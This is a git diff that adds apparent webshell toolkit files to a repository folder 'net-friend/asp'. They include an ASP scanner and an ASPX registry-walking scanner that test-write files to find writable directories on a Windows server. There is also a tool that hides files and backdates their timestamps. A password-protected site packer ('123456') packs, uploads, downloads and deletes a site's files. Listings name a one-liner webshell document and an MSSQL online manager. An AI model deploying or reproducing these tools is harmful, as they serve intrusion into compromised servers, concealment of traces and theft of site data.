end if
|
||||||
|
|
||||||
|
Set FSO = Server.CreateObject(CONST_FSO)
|
||||||
|
set f = fso.getfolder(Path)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
if (CheckFile=True) and (IS_TEMP_DIR=false) then
|
||||||
|
b=false
|
||||||
|
'======================================
|
||||||
|
for each file in f.Files
|
||||||
|
Re = CheckFileWrite(Path&file.name) '<27><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>д
|
||||||
|
if Re =0 then
|
||||||
|
Response.Write "[<5B>ļ<EFBFBD>]<font color=red>"& Path&file.name&"</font><br>"
|
||||||
|
b =true
|
||||||
|
else
|
||||||
|
if ShowNoWriteDir then Response.Write "[<font color=red><3E>ļ<EFBFBD></font>]"&Path&file.name&" [<font color=red>"&Err.Description&"</font>]<br>"
|
||||||
|
end if
|
||||||
|
next
|
||||||
|
if b then response.Flush '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݾ<EFBFBD>ˢ<EFBFBD>¿ͻ<C2BF><CDBB><EFBFBD><EFBFBD><EFBFBD>ʾ
|
||||||
|
'======================================
|
||||||
|
end if
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
'============= Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD> ================
|
||||||
|
for each file in f.SubFolders
|
||||||
|
if CheckNextDir=false then '<27>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ŀ¼
|
||||||
|
re = CheckDirIsOKWrite(Path&file.name)
|
||||||
|
if (re =0) or (re=1) then
|
||||||
|
Response.Write "[Ŀ¼]<font color=#0066FF>"& Path&file.name&"</font><br>"
|
||||||
|
end if
|
||||||
|
end if
|
||||||
|
|
||||||
|
if (CheckNextDir=True) and (IS_TEMP_DIR=false) then '<27>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ŀ¼
|
||||||
|
ShowDirWrite_Dir_File Path&file.name,CheckFile,CheckNextDir '<27>ټ<EFBFBD><D9BC><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>Ŀ¼
|
||||||
|
end if
|
||||||
|
next
|
||||||
|
'======================================
|
||||||
|
Set FSO = Nothing
|
||||||
|
set f = Nothing
|
||||||
|
end function
|
||||||
|
|
||||||
|
|
||||||
|
if Request("Paths") ="" then
|
||||||
|
Paths_str="c:\windows\"&chr(13)&chr(10)&"c:\Documents and Settings\"&chr(13)&chr(10)&"c:\Program Files\"
|
||||||
|
if Session("paths")<>"" then Paths_str=Session("paths")
|
||||||
|
Response.Write "<form id='form1' name='form1' method='post' action=''>"
|
||||||
|
Response.Write "<textarea name='Paths' cols='80' rows='10'>"&Paths_str&"</textarea>"
|
||||||
|
Response.Write "<br />"
|
||||||
|
Response.Write "<input type='submit' name='button' value='<27><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>' />"
|
||||||
|
Response.Write "<label for='CheckNextDir'>"
|
||||||
|
Response.Write "<input name='CheckNextDir' type='checkbox' id='CheckNextDir' checked='checked' /><3E><><EFBFBD><EFBFBD>Ŀ¼ "
|
||||||
|
Response.Write "</label>"
|
||||||
|
Response.Write "<label for='CheckFile'>"
|
||||||
|
Response.Write "<input name='CheckFile' type='checkbox' id='CheckFile' checked='checked' /><3E><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"
|
||||||
|
Response.Write "</label>"
|
||||||
|
Response.Write "<label for='ShowNoWrite'>"
|
||||||
|
Response.Write "<input name='ShowNoWrite' type='checkbox' id='ShowNoWrite'/>"
|
||||||
|
Response.Write "<22>Խ<EFBFBD>дĿ¼<C4BF><C2BC><EFBFBD>ļ<EFBFBD></label>"
|
||||||
|
Response.Write "<label for='NoCheckTemp'>"
|
||||||
|
Response.Write "<input name='NoCheckTemp' type='checkbox' id='NoCheckTemp' checked='checked' />"
|
||||||
|
Response.Write "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱĿ¼</label>"
|
||||||
|
|
||||||
|
Response.Write "</form>"
|
||||||
|
else
|
||||||
|
Response.Write "<a href=""?""><3E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7></a><br>"
|
||||||
|
CheckFile = (Request("CheckFile")="on")
|
||||||
|
CheckNextDir = (Request("CheckNextDir")="on")
|
||||||
|
ShowNoWriteDir = (Request("ShowNoWrite")="on")
|
||||||
|
NoCheckTemp = (Request("NoCheckTemp")="on")
|
||||||
|
Response.Write "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫһ<D2AA><D2BB><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>Ե<EFBFBD>......<br>"
|
||||||
|
response.Flush
|
||||||
|
|
||||||
|
Session("paths") = Request("Paths")
|
||||||
|
|
||||||
|
PathsSplit=Split(Request("Paths"),chr(13)&chr(10))
|
||||||
|
For i=LBound(PathsSplit) To UBound(PathsSplit)
|
||||||
|
if instr(PathsSplit(i),":")>0 then
|
||||||
|
ShowDirWrite_Dir_File Trim(PathsSplit(i)),CheckFile,CheckNextDir
|
||||||
|
End If
|
||||||
|
Next
|
||||||
|
Response.Write "[ɨ<><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>]<br>"
|
||||||
|
end if
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
%>
|
||||||
146
net-friend/asp/asp目录可写扫描/wt.aspx
Normal file
146
net-friend/asp/asp目录可写扫描/wt.aspx
Normal file
@@ -0,0 +1,146 @@
|
|||||||
|
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
|
||||||
|
<%@ import Namespace="System.IO"%>
|
||||||
|
<%@ import Namespace="Microsoft.Win32"%>
|
||||||
|
<%@ import Namespace="System.Collections.Generic"%>
|
||||||
|
<%@ import Namespace="System.Threading"%>
|
||||||
|
<%@ import Namespace="System.Text.RegularExpressions"%>
|
||||||
|
<%@ import Namespace="System.Collections.Generic"%>
|
||||||
|
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
|
||||||
|
<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>
|
||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||||
|
|
||||||
|
<script runat="server">
|
||||||
|
|
||||||
|
protected void Page_Load(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
Stack RegStack = new Stack();
|
||||||
|
List<String> list = new List<String>();
|
||||||
|
RegStack.Push(Registry.ClassesRoot);
|
||||||
|
RegStack.Push(Registry.CurrentConfig);
|
||||||
|
RegStack.Push(Registry.CurrentUser);
|
||||||
|
RegStack.Push(Registry.LocalMachine);
|
||||||
|
RegStack.Push(Registry.Users);
|
||||||
|
RegStack.Push(Registry.DynData);
|
||||||
|
RegStack.Push(Registry.PerformanceData);
|
||||||
|
while (RegStack.Count > 0)
|
||||||
|
{
|
||||||
|
RegistryKey Hklm = (RegistryKey)RegStack.Pop();
|
||||||
|
if (Hklm != null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] names = Hklm.GetValueNames();
|
||||||
|
foreach (string name in names)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string str = Hklm.GetValue(name).ToString().ToLower();
|
||||||
|
if (str.IndexOf(":\\") != -1)
|
||||||
|
{
|
||||||
|
Regex regImg = new Regex("[a-z|A-Z]{1}:\\\\[a-z|A-Z| |0-9|\u4e00-\u9fa5|\\~|\\\\|_|{|}|\\.]*");
|
||||||
|
MatchCollection matches = regImg.Matches(str);
|
||||||
|
if (matches.Count > 0)
|
||||||
|
{
|
||||||
|
string temp = "";
|
||||||
|
foreach (Match match in matches)
|
||||||
|
{
|
||||||
|
temp = match.Value;
|
||||||
|
if (!temp.EndsWith("\\"))
|
||||||
|
{
|
||||||
|
if (list.IndexOf(temp) == -1)
|
||||||
|
{
|
||||||
|
FileAttributes dInfo = File.GetAttributes(temp);
|
||||||
|
|
||||||
|
if ("Directory" == dInfo.ToString())
|
||||||
|
{
|
||||||
|
Response.Write(temp + "<br/>");
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File.Create(temp + "\\Test").Close();
|
||||||
|
Response.Write("<font color=red><3E><>Ŀ¼<C4BF><C2BC>д</font><br/>");
|
||||||
|
File.Delete(temp + "\\test");
|
||||||
|
}
|
||||||
|
catch (System.Exception ex)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
list.Add(temp);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
temp = temp.Substring(0, temp.LastIndexOf("\\"));
|
||||||
|
}
|
||||||
|
while (temp.IndexOf("\\") != -1)
|
||||||
|
{
|
||||||
|
if (list.IndexOf(temp + "\\") == -1)
|
||||||
|
{
|
||||||
|
FileAttributes dInfo = File.GetAttributes(temp);
|
||||||
|
|
||||||
|
if ("Directory" == dInfo.ToString())
|
||||||
|
{
|
||||||
|
|
||||||
|
Response.Write(temp + "<br/>");
|
||||||
|
try
|
||||||
|
{
|
||||||
|
File.Create(temp + "\\Test").Close();
|
||||||
|
Response.Write("<font color=red><3E><>Ŀ¼<C4BF><C2BC>д</font><br/>");
|
||||||
|
File.Delete(temp + "\\test");
|
||||||
|
}
|
||||||
|
catch (System.Exception ex)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
list.Add(temp + "\\");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
temp = temp.Substring(0, temp.LastIndexOf("\\"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception se) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ee) { }
|
||||||
|
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string[] keys = Hklm.GetSubKeyNames();
|
||||||
|
foreach (string key in keys)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
RegStack.Push(Hklm.OpenSubKey(key));
|
||||||
|
}
|
||||||
|
catch (System.Security.SecurityException sse) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ee) { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||||
|
<head runat="server">
|
||||||
|
<title><3E><>дĿ¼<C4BF><C2BC><EFBFBD><EFBFBD></title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<form id="form1" runat="server">
|
||||||
|
<div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
BIN
net-friend/asp/google.jpg
Normal file
BIN
net-friend/asp/google.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 27 KiB |
1300
net-friend/asp/mssql在线管理.asp
Normal file
1300
net-friend/asp/mssql在线管理.asp
Normal file
File diff suppressed because it is too large
Load Diff
BIN
net-friend/asp/一句话.doc
Normal file
BIN
net-friend/asp/一句话.doc
Normal file
Binary file not shown.
64
net-friend/asp/修改属性.asp
Normal file
64
net-friend/asp/修改属性.asp
Normal file
@@ -0,0 +1,64 @@
|
|||||||
|
<%
|
||||||
|
dim path,FileName,NewTime,ShuXing
|
||||||
|
set path=request.Form("path")
|
||||||
|
set filename=request.Form("filename")
|
||||||
|
set newTime=request.Form("newTime")
|
||||||
|
set ShuXing=request.Form("shuxing")
|
||||||
|
%>
|
||||||
|
<font color=red>
|
||||||
|
<form method=post>
|
||||||
|
·<EFBFBD><EFBFBD><EFBFBD><EFBFBD><input name='path' value='<%=server.MAppATH("/")%>\' size='40'> <20>ǵ<EFBFBD>һ<EFBFBD><D2BB>Ҫ<EFBFBD><D2AA>\<5C><>β<br>
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><input name=filename value='<%=filename%>' size='20'> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><br>
|
||||||
|
ʱ<EFBFBD>䣺<input name=newTime value='<%=newTime%>' size='20'><3E><><EFBFBD><EFBFBD>12/21/2012 23:59:59 <20><><EFBFBD>ĵĻ<C4B5>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><br>
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD>ԣ<EFBFBD><select onChange='this.form.shuxing.value=this.value;'>
|
||||||
|
<option value=''><3E><>ͨ </option>
|
||||||
|
<option value='1'>ֻ<><D6BB></option>
|
||||||
|
<option value='2'><3E><><EFBFBD><EFBFBD></option>
|
||||||
|
<option value='4'>ϵͳ</option>
|
||||||
|
<option value='34'><3E><><EFBFBD><EFBFBD>|<7C>浵</option>
|
||||||
|
<option value='33'>ֻ<><D6BB>|<7C>浵</option>
|
||||||
|
<option value='35'>ֻ<><D6BB>|<7C><><EFBFBD><EFBFBD>|<7C>浵</option>
|
||||||
|
<option value='39'>ֻ<><D6BB>|<7C><><EFBFBD><EFBFBD>|<7C>浵|ϵͳ</option>
|
||||||
|
<input style="display:none" name=shuxing value='0' size='1'>
|
||||||
|
<input type=submit value=<3D><>ʼ> by <20>ó<EFBFBD>
|
||||||
|
</form>
|
||||||
|
<%
|
||||||
|
if path<>"" then
|
||||||
|
Set fso=Server.CreateObject("Scri"&"pting.FileSyste"&"mObject")
|
||||||
|
Set shell=Server.CreateObject("Shell.Application")
|
||||||
|
'===============<3D><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>===============
|
||||||
|
if filename="" then '<27>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB> <20><><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD>
|
||||||
|
Set objFolder=FSO.GetFolder(Path)
|
||||||
|
For Each objFile In objFolder.Files
|
||||||
|
fso.GetFile(objFile.Name).attributes=ShuXing
|
||||||
|
Next
|
||||||
|
Response.WRItE"<22><EFBFBD> "&path&" <20>µ<EFBFBD><C2B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Գɹ<D4B3>"
|
||||||
|
else
|
||||||
|
Set file=fso.getFile(path&fileName)
|
||||||
|
file.attributes=ShuXing
|
||||||
|
Response.WRItE"<22><EFBFBD><DEB8>ļ<EFBFBD> "&path&fileName&" <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "
|
||||||
|
end if
|
||||||
|
'===============<3D><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>===============
|
||||||
|
if newTime<>"" then '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݾ<EFBFBD><DDBE><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
|
Set app_path=shell.NameSpace(server.mappath("."))
|
||||||
|
|
||||||
|
if filename="" then '<27>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB> <20><><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD>
|
||||||
|
Set objFolder=FSO.GetFolder(Path)
|
||||||
|
|
||||||
|
For Each objFile In objFolder.Files
|
||||||
|
Set app_file=app_path.ParseName(objFile.Name)
|
||||||
|
app_file.Modifydate=newTime
|
||||||
|
Next
|
||||||
|
Response.WRItE"<br><3E><EFBFBD> "&path&" <20>µ<EFBFBD><C2B5>ļ<EFBFBD><C4BC><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ɹ<EFBFBD>"
|
||||||
|
else
|
||||||
|
Set app_file=app_path.ParseName(fileName)
|
||||||
|
app_file.Modifydate=newTime
|
||||||
|
Response.WRItE"<br><3E><EFBFBD><DEB8>ļ<EFBFBD> "&path&fileName&" ʱ<><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "
|
||||||
|
end if
|
||||||
|
|
||||||
|
end if
|
||||||
|
|
||||||
|
|
||||||
|
end if
|
||||||
|
%>
|
||||||
|
</font>
|
||||||
1
net-friend/asp/陆羽asp打包/1.bat
Normal file
1
net-friend/asp/陆羽asp打包/1.bat
Normal file
@@ -0,0 +1 @@
|
|||||||
|
cscript unpack.vbs
|
||||||
BIN
net-friend/asp/陆羽asp打包/cscript.exe
Normal file
BIN
net-friend/asp/陆羽asp打包/cscript.exe
Normal file
Binary file not shown.
770
net-friend/asp/陆羽asp打包/dabao.asp
Normal file
770
net-friend/asp/陆羽asp打包/dabao.asp
Normal file
@@ -0,0 +1,770 @@
|
|||||||
|
<%
|
||||||
|
Session.CodePage = 936
|
||||||
|
Server.ScriptTimeout = 999999999 '防止脚本超时
|
||||||
|
Response.Expires = -1
|
||||||
|
Response.ExpiresAbsolute = Now() - 1
|
||||||
|
Response.cachecontrol = "no-cache"
|
||||||
|
response.buffer = True
|
||||||
|
Const FileExt = ".rar" '打包后的扩展名 如果某些空间不支持RAR格式下载请设置成 html使用迅雷下回!
|
||||||
|
'并非真的Rar格式.请勿使用RAR解压再跑来问我!会被鄙视你的!
|
||||||
|
Const PassWord = "123456" '设定密码
|
||||||
|
Const Ver = "1.4.0"
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
Dim ScriptName
|
||||||
|
ScriptName=Request.ServerVariables("PATH_INFO")
|
||||||
|
|
||||||
|
Echo "<html>"
|
||||||
|
Echo "<head>"
|
||||||
|
Echo "<meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312"">"
|
||||||
|
Echo "<meta http-equiv=""pragma"" content=""no-cache"">"
|
||||||
|
Echo "<title>ASPWebPack - 整站文件打包/恢复系统 "&Ver&"</title>"
|
||||||
|
Echo "<style>"
|
||||||
|
Echo ".navbar-text { BORDER-RIGHT: #999999 1px; BORDER-TOP: #999999 1px; PADDING-LEFT: 10px; FONT-SIZE: 26px; BACKGROUND-IMAGE: BORDER-LEFT: #999999 1px; COLOR: #ffffff; BORDER-BOTTOM: #999999 1px; BACKGROUND-REPEAT: no-repeat; FONT-FAMILY: 黑体;}"
|
||||||
|
Echo "BODY, TD { FONT-SIZE: 12px;line-height:20px;}"
|
||||||
|
Echo ".tab-on { BORDER-RIGHT: #cccccc 1px; PADDING-RIGHT: 2px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 120px; CURSOR: pointer; COLOR: #000000; PADDING-TOP: 2px; BORDER-BOTTOM: #cccccc 1px; BACKGROUND-COLOR: #ffffff;}"
|
||||||
|
Echo ".tab-off { BORDER-RIGHT: #cccccc 1px; PADDING-RIGHT: 2px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 120px; CURSOR: pointer; COLOR: #666666; PADDING-TOP: 2px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #F9F9FD;}"
|
||||||
|
Echo ".tab-none { BORDER-RIGHT: #cccccc 1px; PADDING-RIGHT: 2px; BORDER-TOP: #cccccc 1px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 2px; BORDER-BOTTOM: #cccccc 1px solid;}"
|
||||||
|
Echo ".tab-content { BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; VERTICAL-ALIGN: top; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff;}"
|
||||||
|
Echo ".Soft-content { BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 5px; PADDING-BOTTOM: 5px; VERTICAL-ALIGN: top; BORDER-LEFT: #cccccc 1px solid; PADDING-TOP: 5px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #ffffff;}"
|
||||||
|
Echo ".hide-table { DISPLAY: none;}"
|
||||||
|
Echo ".show-table { DISPLAY: block;}"
|
||||||
|
Echo "li{width:100%; line-height:25px; text-overflow:ellipsis; white-space:nowrap; overflow:hidden;list-style:none;list-style-type:none;} "
|
||||||
|
Echo "input {color: #000000;background-color: #FFFFFF;border: 1px solid #CCCCCC;FONT-SIZE: 9pt;padding:2px;}"
|
||||||
|
Echo "</style>"
|
||||||
|
Echo "<script language=javascript>"
|
||||||
|
Echo "function switchCell(n, hash) {"
|
||||||
|
Echo "nc=document.getElementsByName(""navcell"");"
|
||||||
|
Echo "if(nc){"
|
||||||
|
Echo "t=document.getElementsByName(""tb"");"
|
||||||
|
Echo "for(i=0;i<nc.length;i++){"
|
||||||
|
Echo "nc.item(i).className=""tab-off"";"
|
||||||
|
Echo "t.item(i).className=""hide-table"";"
|
||||||
|
Echo "}"
|
||||||
|
Echo "nc.item(n-1).className=""tab-on"";"
|
||||||
|
Echo "t.item(n-1).className=""tab-content show-table"";"
|
||||||
|
Echo "}else if(navcell){"
|
||||||
|
Echo "for(i=0;i<navcell.length;i++){"
|
||||||
|
Echo "navcell[i].className=""tab-off"";"
|
||||||
|
Echo "tb[i].className=""hide-table"";"
|
||||||
|
Echo "}"
|
||||||
|
Echo "navcell[n-1].className=""tab-on"";"
|
||||||
|
Echo "tb[n-1].className=""tab-content show-table"";"
|
||||||
|
Echo "}"
|
||||||
|
Echo "if(hash){"
|
||||||
|
Echo "document.location=""#""+hash;"
|
||||||
|
Echo "}}"
|
||||||
|
Echo "</script>"
|
||||||
|
Echo "</head>"
|
||||||
|
Echo "<body>"
|
||||||
|
|
||||||
|
call sub_Main()
|
||||||
|
|
||||||
|
Echo "</body>"
|
||||||
|
Echo "</html>"
|
||||||
|
|
||||||
|
If Trim(Session(ScriptName))=Trim(PassWord) Then
|
||||||
|
if Request("Down")<>"" Then
|
||||||
|
if LCase(Right(Request("Down"),Len(FileExt)))=LCase(FileExt) Then
|
||||||
|
Rem 文件流操作
|
||||||
|
Set objStream = server.CreateObject("ADODB.Stream")
|
||||||
|
objStream.Type = 1
|
||||||
|
objStream.Open
|
||||||
|
objStream.LoadFromFile Server.MapPath(Request("Down"))
|
||||||
|
|
||||||
|
Response.Clear
|
||||||
|
Response.Buffer = True
|
||||||
|
Response.ContentType = "application/octet-stream"
|
||||||
|
Response.AddHeader "Content-Disposition","attachment; filename=" & Request("Down")
|
||||||
|
Do While Not objStream.EOS
|
||||||
|
Response.BinaryWrite objStream.Read(1024*64)
|
||||||
|
Response.Flush
|
||||||
|
If Not Response.IsClientConnected Then
|
||||||
|
Exit Do
|
||||||
|
End If
|
||||||
|
Loop
|
||||||
|
objStream.Close
|
||||||
|
Set objStream = Nothing
|
||||||
|
Response.End
|
||||||
|
end if
|
||||||
|
end if
|
||||||
|
|
||||||
|
Select Case Request("Action")
|
||||||
|
Case "Pack"
|
||||||
|
Call sub_Pack(request("Path"))
|
||||||
|
Case "Recover"
|
||||||
|
Call sub_Recover(request("Path"))
|
||||||
|
Case "UPLoad"
|
||||||
|
Call sub_UPLoad()
|
||||||
|
Case "Delete"
|
||||||
|
Call sub_Delete()
|
||||||
|
End Select
|
||||||
|
End If
|
||||||
|
|
||||||
|
Sub sub_Main()
|
||||||
|
Echo "<table cellspacing=1 class=style1 cellpadding=1 width=400 align=center border=0>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td class=Soft-content>"
|
||||||
|
|
||||||
|
Call CheckPwd()
|
||||||
|
|
||||||
|
If Trim(Session(ScriptName))=Trim(PassWord) Then
|
||||||
|
Select Case Request("Action")
|
||||||
|
Case "Pack"
|
||||||
|
Echo "<table width=""100%"">"
|
||||||
|
Echo "<tr><td colspan=3 align=center>打包信息</td></tr>"
|
||||||
|
Echo "<tr><td>打包文件:</td><td id=""PackFile"" colspan=2></td></tr>"
|
||||||
|
Echo "<tr><td>打包进度:</td><td id=""Pro"">0%</td><td id=""FileNum"">0/0</td></tr>"
|
||||||
|
Echo "<tr><td>正在打包:</td></tr>"
|
||||||
|
Echo "<tr><td colspan=3><li id=""FileName""></li></td></tr>"
|
||||||
|
Echo "<tr><td align=""right"" colspan=3><input type=""button"" value=""返回"" onclick=""document.location ='" & ScriptName & "';"" /></td></tr>"
|
||||||
|
Echo "</table>"
|
||||||
|
Echo vbcrlf
|
||||||
|
Case "Recover"
|
||||||
|
Echo "<table width=""100%"">"
|
||||||
|
Echo "<tr><td colspan=3 align=center>解压信息</td></tr>"
|
||||||
|
Echo "<tr><td>打包文件:</td><td id=""PackFile"" colspan=2></td></tr>"
|
||||||
|
Echo "<tr><td>解压进度:</td><td id=""Pro"">0%</td><td id=""FileNum"">0/0</td></tr>"
|
||||||
|
Echo "<tr><td>正在解压:</td></tr>"
|
||||||
|
Echo "<tr><td colspan=3><li id=""FileName""></li></td></tr>"
|
||||||
|
Echo "<tr><td align=""right"" colspan=3><input type=""button"" value=""返回"" onclick=""document.location ='" & ScriptName & "';"" /></td></tr>"
|
||||||
|
Echo "</table>"
|
||||||
|
Echo vbcrlf
|
||||||
|
Case "Delete"
|
||||||
|
Echo "<table width=""100%"">"
|
||||||
|
Echo "<tr><td colspan=3 align=center>删除打包</td></tr>"
|
||||||
|
Echo "<tr><td align=""right"" colspan=3><input type=""button"" value=""返回"" onclick=""document.location ='" & ScriptName & "';"" /></td></tr>"
|
||||||
|
Echo "</table>"
|
||||||
|
Echo vbcrlf
|
||||||
|
Case "UPLoad"
|
||||||
|
Echo "<table width=""100%"">"
|
||||||
|
Echo "<tr><td colspan=3 align=center>正在上传文件</td></tr>"
|
||||||
|
Echo "<tr><td align=""right"" colspan=3><input type=""button"" value=""返回"" onclick=""document.location ='" & ScriptName & "';"" /></td></tr>"
|
||||||
|
Echo "</table>"
|
||||||
|
Echo vbcrlf
|
||||||
|
case Else
|
||||||
|
Call sub_putMain()
|
||||||
|
End Select
|
||||||
|
Echo "<script language=""javascript"" >"
|
||||||
|
Echo "var fn=document.all(""PackFile"");"
|
||||||
|
Echo "var f=document.all(""FileName"");"
|
||||||
|
Echo "var p=document.all(""Pro"");"
|
||||||
|
Echo "var n=document.all(""FileNum"");"
|
||||||
|
Echo "</script>"
|
||||||
|
Echo vbcrlf
|
||||||
|
End If
|
||||||
|
Echo "</td> </tr>"
|
||||||
|
Echo "</table>"
|
||||||
|
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Sub CheckPWD()
|
||||||
|
If Request("PassWord")<>"" Then
|
||||||
|
Session(ScriptName) = Trim(Request("PassWord"))
|
||||||
|
End If
|
||||||
|
If Trim(Session(ScriptName))<>Trim(PassWord) Then
|
||||||
|
Echo "<table class=Soft-content cellspacing=5 cellpadding=0 width=100% align=center border=0 name=tb>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td class=td_heading valign=top>"
|
||||||
|
Echo "<table width=100% border=0 align=center cellpadding=0 cellspacing=0>"
|
||||||
|
Echo "<form id=Frm_Enter name=Frm_Enter method=post action=""" & ScriptName &""">"
|
||||||
|
Echo "<input type=hidden name=Action value=Enter />"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td height=32>PassWord:</td>"
|
||||||
|
Echo "<td>"
|
||||||
|
Echo "<input type=password name=PassWord value=""" & Session(ScriptName) & """ /></td>"
|
||||||
|
Echo "<td><input type=submit value=Enter /></td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "</form>"
|
||||||
|
Echo "</table>"
|
||||||
|
Echo "</td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "</table>"
|
||||||
|
End If
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
sub sub_putMain()
|
||||||
|
Echo "<table cellspacing=0 cellpadding=0 width=100% align=center border=0>"
|
||||||
|
Echo "<tr>"
|
||||||
|
Echo "<td class=tab-on id=navcell onclick=switchCell(1) name=navcell align=center>打包数据</td>"
|
||||||
|
Echo "<td class=tab-off id=navcell onclick=switchCell(2) name=navcell align=center>恢复数据</td>"
|
||||||
|
Echo "<td class=""tab-off"" id=""navcell"" onclick=""switchCell(3)"" name=""navcell"" align=center>打包管理</td>"
|
||||||
|
Echo "<td class=""tab-off"" id=""navcell"" onclick=""switchCell(4)"" name=""navcell"" align=center>关于软件</td>"
|
||||||
|
Echo "<td class=""tab-none""> </td>"
|
||||||
|
Echo "</tr>"
|
||||||
|
Echo "</table>"
|
||||||
|
